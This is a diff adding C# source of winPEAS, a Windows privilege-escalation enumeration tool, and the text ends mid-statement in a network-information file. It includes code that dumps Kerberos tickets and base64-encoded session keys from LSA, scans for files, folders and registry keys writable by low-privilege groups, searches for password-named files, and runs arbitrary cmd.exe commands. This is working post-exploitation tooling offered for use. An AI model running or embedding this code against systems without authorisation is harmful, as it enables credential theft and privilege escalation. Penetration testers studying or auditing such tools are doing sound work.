Console.WriteLine(" UserSID : {0}", sid.AccountDomainSid); + Console.WriteLine(" AuthenticationPackage : {0}", authpackage); + Console.WriteLine(" LogonType : {0}", logonType); + Console.WriteLine(" LogonType : {0}", logonTime); + Console.WriteLine(" LogonServer : {0}", logonServer); + Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName); + Console.WriteLine(" UserPrincipalName : {0}", upn);*/ + + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE)); + + KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)); + string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); + + string targetName = ""; + if (response.Ticket.TargetName != IntPtr.Zero) + { + KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)); + targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); + } + + KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)); + string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); + + string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); + string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); + string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim(); + + // extract the session key + KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType; + Int32 sessionKeyLength = response.Ticket.SessionKey.Length; + byte[] sessionKey = new byte[sessionKeyLength]; + Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); + string base64SessionKey = Convert.ToBase64String(sessionKey); + + DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime); + DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime); + DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime); + DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil); + Int64 timeSkew = response.Ticket.TimeSkew; + Int32 encodedTicketSize = response.Ticket.EncodedTicketSize; + + string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString(); + + // extract the TGT and base64 encode it + byte[] encodedTicket = new byte[encodedTicketSize]; + Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); + string base64TGT = Convert.ToBase64String(encodedTicket); + + results.Add(new Dictionary() + { + { "UserPrincipalName", upn }, + { "ServiceName", serviceName }, + { "TargetName", targetName }, + { "ClientName", clientName }, + { "DomainName", domainName }, + { "TargetDomainName", targetDomainName }, + { "SessionKeyType", String.Format("{0}", sessionKeyType) }, + { "Base64SessionKey", base64SessionKey }, + { "KeyExpirationTime", String.Format("{0}", keyExpirationTime) }, + { "TicketFlags", ticketFlags }, + { "StartTime", String.Format("{0}", startTime) }, + { "EndTime", String.Format("{0}", endTime) }, + { "RenewUntil", String.Format("{0}", renewUntil) }, + { "TimeSkew", String.Format("{0}", timeSkew) }, + { "EncodedTicketSize", String.Format("{0}", encodedTicketSize) }, + { "Base64EncodedTicket", base64TGT }, + }); + totalTicketCount++; + } + } + luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); + //move the pointer forward + LsaFreeReturnBuffer(sessionData); + //free the SECURITY_LOGON_SESSION_DATA memory in the struct + } + LsaFreeReturnBuffer(luidPtr); //free the array of LUIDs + + // disconnect from LSA + LsaDeregisterLogonProcess(hLsa); + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex); + } + return results; + } + public static List> ListKerberosTGTDataCurrentUser() + { + List> results = new List>(); + // adapted partially from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 + // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ + // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 + + try + { + string name = "kerberos"; + LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + IntPtr responsePointer = IntPtr.Zero; + int authPack; + int returnBufferLength = 0; + int protocalStatus = 0; + IntPtr lsaHandle; + int retCode; + + // If we want to look at tickets from a session other than our own + // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted + retCode = LsaConnectUntrusted(out lsaHandle); + + KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST(); + KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE(); + + // obtains the unique identifier for the kerberos authentication package. + retCode = LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + // input object for querying the TGT (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) + tQuery.LogonId = new LUID(); + tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage; + // indicate we want kerb creds yo' + //tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED; + + // query LSA, specifying we want the the TGT data + retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus); + + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE)); + + KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)); + string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); + + string targetName = ""; + if (response.Ticket.TargetName != IntPtr.Zero) + { + KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)); + targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); + } + + KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)); + string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); + + string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); + string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); + string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim(); + + // extract the session key + KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType; + Int32 sessionKeyLength = response.Ticket.SessionKey.Length; + byte[] sessionKey = new byte[sessionKeyLength]; + Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); + string base64SessionKey = Convert.ToBase64String(sessionKey); + + DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime); + DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime); + DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime); + DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil); + Int64 timeSkew = response.Ticket.TimeSkew; + Int32 encodedTicketSize = response.Ticket.EncodedTicketSize; + + string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString(); + + // extract the TGT and base64 encode it + byte[] encodedTicket = new byte[encodedTicketSize]; + Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); + string base64TGT = Convert.ToBase64String(encodedTicket); + + results.Add(new Dictionary() + { + { "ServiceName", serviceName }, + { "TargetName", targetName }, + { "ClientName", clientName }, + { "DomainName", domainName }, + { "TargetDomainName", targetDomainName }, + { "SessionKeyType", String.Format("{0}", sessionKeyType) }, + { "Base64SessionKey", base64SessionKey }, + { "KeyExpirationTime", String.Format("{0}", keyExpirationTime) }, + { "TicketFlags", ticketFlags }, + { "StartTime", String.Format("{0}", startTime) }, + { "EndTime", String.Format("{0}", endTime) }, + { "RenewUntil", String.Format("{0}", renewUntil) }, + { "TimeSkew", String.Format("{0}", timeSkew) }, + { "EncodedTicketSize", String.Format("{0}", encodedTicketSize) }, + { "Base64EncodedTicket", base64TGT }, + }); + + // disconnect from LSA + LsaDeregisterLogonProcess(lsaHandle); + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/MyUtils.cs b/winPEAS/winPEASexe/winPEAS/MyUtils.cs new file mode 100755 index 0000000..2f39bb6 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/MyUtils.cs @@ -0,0 +1,603 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.IO; +using Microsoft.Win32; +using System.Security.Principal; +using System.Diagnostics; +using System.Text.RegularExpressions; +using System.Reflection; +using System.Security.AccessControl; +using System.Runtime.InteropServices; +using Colorful; + +namespace winPEAS +{ + class MyUtils + { + public static Dictionary RemoveEmptyKeys(Dictionary dic_in) + { + Dictionary results = new Dictionary(); + try + { + foreach (KeyValuePair entry in dic_in) + if (!String.IsNullOrEmpty(entry.Value.Trim())) + results[entry.Key] = entry.Value; + return results; + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + return results; + } + public static List ListFolder(String path) + { + string root = @Path.GetPathRoot(Environment.SystemDirectory) + path; + var dirs = from dir in Directory.EnumerateDirectories(root) select dir; + return dirs.ToList(); + } + + //From https://stackoverflow.com/questions/929276/how-to-recursively-list-all-the-files-in-a-directory-in-c + public static Dictionary GecRecursivePrivs(string path) + { + /*string root = @Path.GetPathRoot(Environment.SystemDirectory) + path; + var dirs = from dir in Directory.EnumerateDirectories(root) select dir; + return dirs.ToList();*/ + Dictionary results = new Dictionary(); + results[path] = ""; //If you cant open, then there are no privileges for you (and the try will explode) + try + { + results[path] = String.Join(", ", GetPermissionsFolder(path, Program.interestingUsersGroups)); + if (String.IsNullOrEmpty(results[path])) + { + foreach (string d in Directory.GetDirectories(path)) + { + foreach (string f in Directory.GetFiles(d)) + { + results[f] = String.Join(", ", GetPermissionsFile(f, Program.interestingUsersGroups)); + } + results.Concat(GecRecursivePrivs(d)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value); + } + } + } + catch + { + //Access denied to a path + } + return results; + } + + //From Seatbelt + public static bool IsHighIntegrity() + { + // returns true if the current process is running with adminstrative privs in a high integrity context + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + //From https://stackoverflow.com/questions/3519539/how-to-check-if-a-string-contains-any-of-some-strings + public static bool ContainsAnyRegex(string haystack, List regexps) + { + foreach (string regex in regexps) + { + if (Regex.Match(haystack, regex, RegexOptions.IgnoreCase).Success) + return true; + } + return false; + } + + // From Seatbelt + public static string GetRegValue(string hive, string path, string value) + { + // returns a single registry value under the specified path in the specified hive (HKLM/HKCU) + string regKeyValue = ""; + if (hive == "HKCU") + { + var regKey = Registry.CurrentUser.OpenSubKey(path); + if (regKey != null) + { + regKeyValue = String.Format("{0}", regKey.GetValue(value)); + } + return regKeyValue; + } + else if (hive == "HKU") + { + var regKey = Registry.Users.OpenSubKey(path); + if (regKey != null) + { + regKeyValue = String.Format("{0}", regKey.GetValue(value)); + } + return regKeyValue; + } + else + { + var regKey = Registry.LocalMachine.OpenSubKey(path); + if (regKey != null) + { + regKeyValue = String.Format("{0}", regKey.GetValue(value)); + } + return regKeyValue; + } + } + + public static Dictionary GetRegValues(string hive, string path) + { + // returns all registry values under the specified path in the specified hive (HKLM/HKCU) + Dictionary keyValuePairs = null; + try + { + if (hive == "HKCU") + { + using (var regKeyValues = Registry.CurrentUser.OpenSubKey(path)) + { + if (regKeyValues != null) + { + var valueNames = regKeyValues.GetValueNames(); + keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue); + } + } + } + else if (hive == "HKU") + { + using (var regKeyValues = Registry.Users.OpenSubKey(path)) + { + if (regKeyValues != null) + { + var valueNames = regKeyValues.GetValueNames(); + keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue); + } + } + } + else + { + using (var regKeyValues = Registry.LocalMachine.OpenSubKey(path)) + { + if (regKeyValues != null) + { + var valueNames = regKeyValues.GetValueNames(); + keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue); + } + } + } + return keyValuePairs; + } + catch + { + return null; + } + } + + public static byte[] GetRegValueBytes(string hive, string path, string value) + { + // returns a byte array of single registry value under the specified path in the specified hive (HKLM/HKCU) + byte[] regKeyValue = null; + if (hive == "HKCU") + { + var regKey = Registry.CurrentUser.OpenSubKey(path); + if (regKey != null) + { + regKeyValue = (byte[])regKey.GetValue(value); + } + return regKeyValue; + } + else if (hive == "HKU") + { + var regKey = Registry.Users.OpenSubKey(path); + if (regKey != null) + { + regKeyValue = (byte[])regKey.GetValue(value); + } + return regKeyValue; + } + else + { + var regKey = Registry.LocalMachine.OpenSubKey(path); + if (regKey != null) + { + regKeyValue = (byte[])regKey.GetValue(value); + } + return regKeyValue; + } + } + + public static string[] GetRegSubkeys(string hive, string path) + { + // returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU) + try + { + Microsoft.Win32.RegistryKey myKey = null; + if (hive == "HKLM") + { + myKey = Registry.LocalMachine.OpenSubKey(path); + } + else if (hive == "HKU") + { + myKey = Registry.Users.OpenSubKey(path); + } + else + { + myKey = Registry.CurrentUser.OpenSubKey(path); + } + String[] subkeyNames = myKey.GetSubKeyNames(); + return myKey.GetSubKeyNames(); + } + catch + { + return new string[0]; + } + } + + public static bool CheckIfDotNet(string path) + { + bool isDotNet = false; + FileVersionInfo myFileVersionInfo = FileVersionInfo.GetVersionInfo(path); + string companyName = myFileVersionInfo.CompanyName; + if ((String.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) + { + try + { + AssemblyName myAssemblyName = AssemblyName.GetAssemblyName(path); + isDotNet = true; + } + catch (System.IO.FileNotFoundException) + { + // System.Console.WriteLine("The file cannot be found."); + } + catch (System.BadImageFormatException exception) + { + if (Regex.IsMatch(exception.Message, ".*This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded.*", RegexOptions.IgnoreCase)) + { + isDotNet = true; + } + } + catch + { + // System.Console.WriteLine("The assembly has already been loaded."); + } + } + return isDotNet; + } + + public static List GetPermissionsFile(string path, List lowgroups) + { + /*Permisos especiales para carpetas + *https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format?redirectedfrom=MSDN + *https://docs.microsoft.com/en-us/windows/win32/fileio/file-security-and-access-rights?redirectedfrom=MSDN + */ + + List results = new List(); + path = path.Trim(); + if (path == null || path == "") + return results; + + Match reg_path = Regex.Match(path.ToString(), @"\W*([a-z]:\\.+?(\.[a-zA-Z0-9_-]+))\W*", RegexOptions.IgnoreCase); + string binaryPath = reg_path.Groups[1].ToString(); + path = binaryPath; + if (path == null || path == "") + return results; + // + // Summary: + // Specifies the right to open and write to a file or folder. This does not include + // the right to open and write file system attributes, extended file system attributes, + // or access and audit rules. + int WriteData = 2; + // + // Summary: + // Specifies the right to append data to the end of a file. + int AppendData = 4; + // Summary: + // Specifies the right to open and write extended file system attributes to a folder + // or file. This does not include the ability to write data, attributes, or access + // and audit rules. + int WriteExtendedAttributes = 16; + // + // Summary: + // Specifies the right to open and write file system attributes to a folder or file. + // This does not include the ability to write data, extended attributes, or access + // and audit rules. + int WriteAttributes = 256; + // + // Summary: + // Specifies the right to create folders and files, and to add or remove data from + // files. This right includes the System.Security.AccessControl.FileSystemRights.WriteData + // right, System.Security.AccessControl.FileSystemRights.AppendData right, System.Security.AccessControl.FileSystemRights.WriteExtendedAttributes + // right, and System.Security.AccessControl.FileSystemRights.WriteAttributes right. + int Write = 278; + // + // Summary: + // Specifies the right to delete a folder or file. + int Delete = 65536; + // + // Summary: + // Specifies the right to read, write, list folder contents, delete folders and + // files, and run application files. This right includes the System.Security.AccessControl.FileSystemRights.ReadAndExecute + // right, the System.Security.AccessControl.FileSystemRights.Write right, and the + // System.Security.AccessControl.FileSystemRights.Delete right. + int Modify = 197055; + // + // Summary: + // Specifies the right to change the security and audit rules associated with a + // file or folder. + int ChangePermissions = 262144; + // + // Summary: + // Specifies the right to change the owner of a folder or file. Note that owners + // of a resource have full access to that resource. + int TakeOwnership = 524288; + // + // + // Summary: + // Specifies the right to exert full control over a folder or file, and to modify + // access control and audit rules. This value represents the right to do anything + // with a file and is the combination of all rights in this enumeration. + int FullControl = 2032127; + + int[] permissions = { FullControl, TakeOwnership, ChangePermissions, Modify, Delete, Write, WriteAttributes, WriteExtendedAttributes, AppendData, WriteData }; + try + { + FileSecurity fSecurity = File.GetAccessControl(path); + foreach (FileSystemAccessRule rule in fSecurity.GetAccessRules(true, true, typeof(NTAccount))) + { + int current_right = (int)rule.FileSystemRights; + foreach (string group in lowgroups) + { + if (rule.IdentityReference.Value.ToLower().Contains(group.ToLower())) + { + foreach (int perm in permissions) + { + if ((perm & current_right) == perm) + { + results.Add(String.Format("{0} [{1}]", rule.IdentityReference.Value, rule.FileSystemRights)); + break; + } + } + } + } + } + } + catch + { + //By some reason some times it cannot find a file or cannot get permissions (normally with some binaries inside system32) + } + return results; + } + + public static string GetFolderFromString(string path) + { + string fpath = path; + if (!Directory.Exists(path)) + { + Match reg_path = Regex.Match(path.ToString(), @"\W*([a-z]:\\.+?(\.[a-zA-Z0-9_-]+))\W*", RegexOptions.IgnoreCase); + string binaryPath = reg_path.Groups[1].ToString(); + if (File.Exists(binaryPath)) + fpath = Path.GetDirectoryName(binaryPath); + else + fpath = ""; + } + return fpath; + } + + public static List GetPermissionsFolder(string path, List NtAccountNames) + { + List results = new List(); + + try + { + path = path.Trim(); + if (String.IsNullOrEmpty(path)) + return results; + + path = GetFolderFromString(path); + + if (String.IsNullOrEmpty(path)) + return results; + + Dictionary interesting_perms = new Dictionary() + { + { "WriteData", (int)FileSystemRights.WriteData }, + { "AppendData", (int)FileSystemRights.AppendData }, + { "WriteExtendedAttributes", (int)FileSystemRights.WriteExtendedAttributes }, + { "WriteAttributes", (int)FileSystemRights.WriteAttributes }, + { "Write", (int)FileSystemRights.Write }, + { "Delete", (int)FileSystemRights.Delete }, + { "Modify", (int)FileSystemRights.Modify }, + { "ChangePermissions", (int)FileSystemRights.ChangePermissions }, + { "TakeOwnership", (int)FileSystemRights.TakeOwnership }, + { "FullControl", (int)FileSystemRights.FullControl }, + { "GenericAll", 268435456}, + { "GenericWrite", 1073741824 } + }; + + FileSecurity fSecurity = File.GetAccessControl(path); + //Go through the rules returned from the DirectorySecurity + foreach (FileSystemAccessRule rule in fSecurity.GetAccessRules(true, true, typeof(NTAccount))) + { + int current_right = (int)rule.FileSystemRights; + var filesystemAccessRule = (FileSystemAccessRule)rule; + + //If we find one that matches the identity we are looking for + foreach (string name in NtAccountNames) + { + if (rule.IdentityReference.Value.ToLower().Contains(name.ToLower())) + { + foreach (KeyValuePair entry in interesting_perms) + { + if ((entry.Value & current_right) == entry.Value) + { + results.Add(String.Format("{0} [{1}]", rule.IdentityReference.Value, entry.Key)); + break; + } + } + } + } + } + } + catch + { + //Te exceptions here use to be "Not access to a file", nothing interesting + } + return results; + } + + public static bool CheckQuoteAndSpace(string path) + { + if (!path.Contains('"') && !path.Contains("'")) + { + if (path.Contains(" ")) + return true; + } + return false; + } + + //Adapted from https://social.msdn.microsoft.com/Forums/vstudio/en-US/378491d6-23a3-4ae7-a702-c52c5abb0e8d/access-to-both-32-and-64-bit-registry-using-c-and-regmultisz?forum=csharpgeneral + [DllImport("Advapi32.dll", EntryPoint = "RegOpenKeyExW", CharSet = CharSet.Unicode)] + static extern int RegOpenKeyEx(IntPtr hKey, [In] string lpSubKey, int ulOptions, int samDesired, out IntPtr phkResult); + [DllImport("Advapi32.dll", EntryPoint = "RegQueryValueExW", CharSet = CharSet.Unicode)] + static extern int RegQueryValueEx(IntPtr hKey, [In] string lpValueName, IntPtr lpReserved, out int lpType, [Out] byte[] lpData, ref int lpcbData); + [DllImport("advapi32.dll")] + static extern int RegCloseKey(IntPtr hKey); + + static public readonly IntPtr HKEY_CLASSES_ROOT = new IntPtr(-2147483648); + static public readonly IntPtr HKEY_CURRENT_USER = new IntPtr(-2147483647); + static public readonly IntPtr HKEY_LOCAL_MACHINE = new IntPtr(-2147483646); + static public readonly IntPtr HKEY_USERS = new IntPtr(-2147483645); + static public readonly IntPtr HKEY_PERFORMANCE_DATA = new IntPtr(-2147483644); + static public readonly IntPtr HKEY_CURRENT_CONFIG = new IntPtr(-2147483643); + static public readonly IntPtr HKEY_DYN_DATA = new IntPtr(-2147483642); + + public const int KEY_READ = 0x20019; + public const int KEY_WRITE = 0x20006; + public const int KEY_QUERY_VALUE = 0x0001; + public const int KEY_SET_VALUE = 0x0002; + public const int KEY_WOW64_64KEY = 0x0100; + public const int KEY_WOW64_32KEY = 0x0200; + public const int KEY_ALL_ACCESS = 0xF003F; + + public const int REG_NONE = 0; + public const int REG_SZ = 1; + public const int REG_EXPAND_SZ = 2; + public const int REG_BINARY = 3; + public const int REG_DWORD = 4; + public const int REG_DWORD_BIG_ENDIAN = 5; + public const int REG_LINK = 6; + public const int REG_MULTI_SZ = 7; + public const int REG_RESOURCE_LIST = 8; + public const int REG_FULL_RESOURCE_DESCRIPTOR = 9; + public const int REG_RESOURCE_REQUIREMENTS_LIST = 10; + public const int REG_QWORD = 11; + + [StructLayoutAttribute(LayoutKind.Sequential)] + public struct SECURITY_DESCRIPTOR + { + public byte revision; + public byte size; + public short control; + public IntPtr owner; + public IntPtr group; + public IntPtr sacl; + public IntPtr dacl; + } + + public static bool CheckWriteAccessReg(string root_name, string reg_path) + { + IntPtr key; + IntPtr root = HKEY_LOCAL_MACHINE; + if (root_name.Contains("HKCU") || root_name.Contains("CURRENT_USER")) + root = HKEY_CURRENT_USER; + else if (root_name.Contains("HKLM") || root_name.Contains("LOCAL_MACHINE")) + root = HKEY_LOCAL_MACHINE; + + if (RegOpenKeyEx(root, reg_path, 0, KEY_ALL_ACCESS, out key) != 0) + { + if (RegOpenKeyEx(root, reg_path, 0, KEY_WRITE, out key) != 0) + { + if (RegOpenKeyEx(root, reg_path, 0, KEY_SET_VALUE, out key) != 0) + return false; + } + } + return true; + } + + + public static List FindFiles(string path, string patterns) + { + // finds files matching one or more patterns under a given path, recursive + // adapted from http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/ + // pattern: "*pass*;*.png;" + + var files = new List(); + + try + { + // search every pattern in this directory's files + foreach (string pattern in patterns.Split(';')) + { + files.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly)); + } + + // go recurse in all sub-directories + foreach (var directory in Directory.GetDirectories(path)) + files.AddRange(FindFiles(directory, patterns)); + } + catch (UnauthorizedAccessException) { } + catch (PathTooLongException) { } + + return files; + } + + public static void FindFiles(string path, string patterns, StyleSheet ss, Dictionary color) + { + try + { + // search every pattern in this directory's files + foreach (string pattern in patterns.Split(';')) + { + if (Program.using_ansii) + Beaprint.AnsiiPrint(String.Join("\n", Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly).Where(filepath => !filepath.Contains(".dll"))), color); + else + Colorful.Console.WriteLineStyled(String.Join("\n", Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly).Where(filepath => !filepath.Contains(".dll"))), ss); // .exe can be contained because of appcmd.exe + } + + // go recurse in all sub-directories + foreach (var directory in Directory.GetDirectories(path)) + FindFiles(directory, patterns, ss, color); + } + catch (UnauthorizedAccessException) { } + catch (PathTooLongException) { } + } + + // From https://stackoverflow.com/questions/206323/how-to-execute-command-line-in-c-get-std-out-results + public static string ExecCMD(string args) + { + //Create process + Process pProcess = new Process(); + + //No new window + pProcess.StartInfo.CreateNoWindow = true; + + //strCommand is path and file name of command to run + pProcess.StartInfo.FileName = "cmd.exe"; + + //strCommandParameters are parameters to pass to program + pProcess.StartInfo.Arguments = "/C "+args; + + pProcess.StartInfo.UseShellExecute = false; + + //Set output of program to be written to process output stream + pProcess.StartInfo.RedirectStandardOutput = true; + + //Start the process + pProcess.Start(); + + //Get program output + string strOutput = pProcess.StandardOutput.ReadToEnd(); + + //Wait for process to finish + pProcess.WaitForExit(); + + return strOutput; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/NetworkInfo.cs b/winPEAS/winPEASexe/winPEAS/NetworkInfo.cs new file mode 100755 index 0000000..be065b3 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/NetworkInfo.cs @@ -0,0 +1,383 @@ +using System; +using System.Collections.Generic; +using System.Management; +using System.Runtime.InteropServices; +using System.Net.NetworkInformation; +using System.Reflection; +using System.Net; +using System.Linq; + +namespace winPEAS +{ + class NetworkInfo + { + [DllImport("IpHlpApi.dll")] + [return: MarshalAs(UnmanagedType.U4)] + internal static extern int GetIpNetTable(IntPtr pIpNetTable, [MarshalAs(UnmanagedType.U4)]ref int pdwSize, bool bOrder); + + [DllImport("IpHlpApi.dll", SetLastError = true, CharSet = CharSet.Auto)] + internal static extern int FreeMibTable(IntPtr plpNetTable); + + [StructLayout(LayoutKind.Sequential)] + internal struct MIB_IPNETROW + { + [MarshalAs(UnmanagedType.U4)] + public int dwIndex; + [MarshalAs(UnmanagedType.U4)] + public int dwPhysAddrLen; + [MarshalAs(UnmanagedType.U1)] + public byte mac0; + [MarshalAs(UnmanagedType.U1)] + public byte mac1; + [MarshalAs(UnmanagedType.U1)] + public byte mac2; + [MarshalAs(UnmanagedType.U1)] + public byte mac3; + [MarshalAs(UnmanagedType.U1)] + public byte mac4; + [MarshalAs(UnmanagedType.U1)] + public byte mac5; + [MarshalAs(UnmanagedType.U1)] + public byte mac6; + [MarshalAs(UnmanagedType.U1)] + public byte mac7; + [MarshalAs(UnmanagedType.U4)] + public int dwAddr; + [MarshalAs(UnmanagedType.U4)] + public int dwType; + } + + public enum ArpEntryType + { + Other = 1, + Invalid = 2, + Dynamic = 3, + Static = 4, + } + public const int ERROR_INSUFFICIENT_BUFFER = 122; + + + public static List> GetNetCardInfo() + { + List> results = new List>(); + Dictionary> adapters = new Dictionary>(); + + try + { + foreach (NetworkInterface netElement in NetworkInterface.GetAllNetworkInterfaces()) + { + Dictionary card = new Dictionary() { + { "Index", netElement.GetIPProperties().GetIPv4Properties().Index.ToString() }, + { "Name", netElement.Name }, + { "PysicalAddr", "" }, + { "DNSs", String.Join(", ", netElement.GetIPProperties().DnsAddresses) }, + { "Gateways", "" }, + { "IPs", "" }, + { "Netmasks", "" }, + { "arp", "" } + }; + card["PysicalAddrIni"] = netElement.GetPhysicalAddress().ToString(); + for (int i = 0; i < card["PysicalAddrIni"].Length; i += 2) + card["PysicalAddr"] += card["PysicalAddrIni"].Substring(i, 2) + ":"; + + foreach (GatewayIPAddressInformation address in netElement.GetIPProperties().GatewayAddresses.Reverse()) //Reverse so first IPv4 + card["Gateways"] += address.Address + ", "; + + foreach (UnicastIPAddressInformation ip in netElement.GetIPProperties().UnicastAddresses.Reverse()) + { //Reverse so first IPv4 + card["IPs"] += ip.Address.ToString() + ", "; + card["Netmasks"] += ip.IPv4Mask.ToString() + ", "; + } + + //Delete last separator + if (card["PysicalAddr"].Length > 0) + card["PysicalAddr"] = card["PysicalAddr"].Remove(card["PysicalAddr"].Length - 1); + + if (card["Gateways"].Length > 0) + card["Gateways"] = card["Gateways"].Remove(card["Gateways"].Length - 2); + + if (card["IPs"].Length > 0) + card["IPs"] = card["IPs"].Remove(card["IPs"].Length - 2); + + if (card["Netmasks"].Length > 0) + card["Netmasks"] = card["Netmasks"].Remove(card["Netmasks"].Length - 2); + + adapters[netElement.GetIPProperties().GetIPv4Properties().Index] = card; + } + //return results; + + // GET ARP values + + int bytesNeeded = 0; + + int result = GetIpNetTable(IntPtr.Zero, ref bytesNeeded, false); + + // call the function, expecting an insufficient buffer. + if (result != ERROR_INSUFFICIENT_BUFFER) + { + Console.WriteLine(" [X] Exception: {0}", result); + } + + IntPtr buffer = IntPtr.Zero; + + // allocate sufficient memory for the result structure + buffer = Marshal.AllocCoTaskMem(bytesNeeded); + + result = GetIpNetTable(buffer, ref bytesNeeded, false); + + if (result != 0) + { + Console.WriteLine(" [X] Exception allocating buffer: 